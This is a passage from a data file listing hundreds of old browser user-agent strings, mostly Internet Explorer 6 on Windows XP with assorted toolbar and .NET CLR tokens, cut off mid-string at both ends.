CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.75.0; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 2.0.50727; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; FunWebProductsn)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; InfoPath.1; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; Zango 10.0.370.0; Seekmo 10.0.370.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Sleipnir/2.9.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; InfoPath.1; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.4; TheWorld)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.5; .NET CLR 1.1.4322; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.5; .NET CLR 1.1.4322; AskTB5.6; TheWorld)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) chromeframe/6.0.472.33\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.5; .NET CLR 2.0.50727; InfoPath.2; AskTB5.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; .NET CLR 1.1.4322; InfoPath.2; TheWorld)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Lunascape 5.0.5.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Sleipnir/2.46\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zune 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; msn Optimized IE build03;JP)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322; InfoPath.2; Dealio Toolbar 3.1.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; InfoPath.2; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; chromeframe)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; HbTools 4.6.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; HbTools 4.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; HbTools 4.7.5; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; HbTools 4.7.7)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; HbTools 4.8.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Hotbar 4.4.1.1381)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Hotbar 4.4.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Hotbar 4.4.2.0; FunWebProducts; .NET CLR 1.0.3705; PeoplePal 3.0; .NET CLR 1.1.4322; PeoplePal 6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Hotbar 4.5.1.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Hotbar 4.5.1.0; FunWebProducts; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Hotbar 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Hotbar 4.6.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; IBP; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; IPOffice; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1) Sleipnir/2.21\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.2914)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Windows-Media-Player/10.00.00.3990; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 1.0; MEGAUPLOAD 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 2.0.50215; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; Crazy Browser 2.0.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; FDM; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; MS-RTC LM 8; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; Seekmo 10.0.424.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; AskTbPTV/5.12.2.16749)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KB0:718886; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKMAN3.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKMAN3.2; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKMAN3.2; MS-RTC LM 8; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.3 (build 01218))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.9 (build 01849); .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.3 (build 02564))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.4 (build 02625))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MS-RTC LM 8; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; AskTbNCE/5.8.0.12304)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.10 beta 1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.10 beta 2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.10 beta 2; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.10b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.10d; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 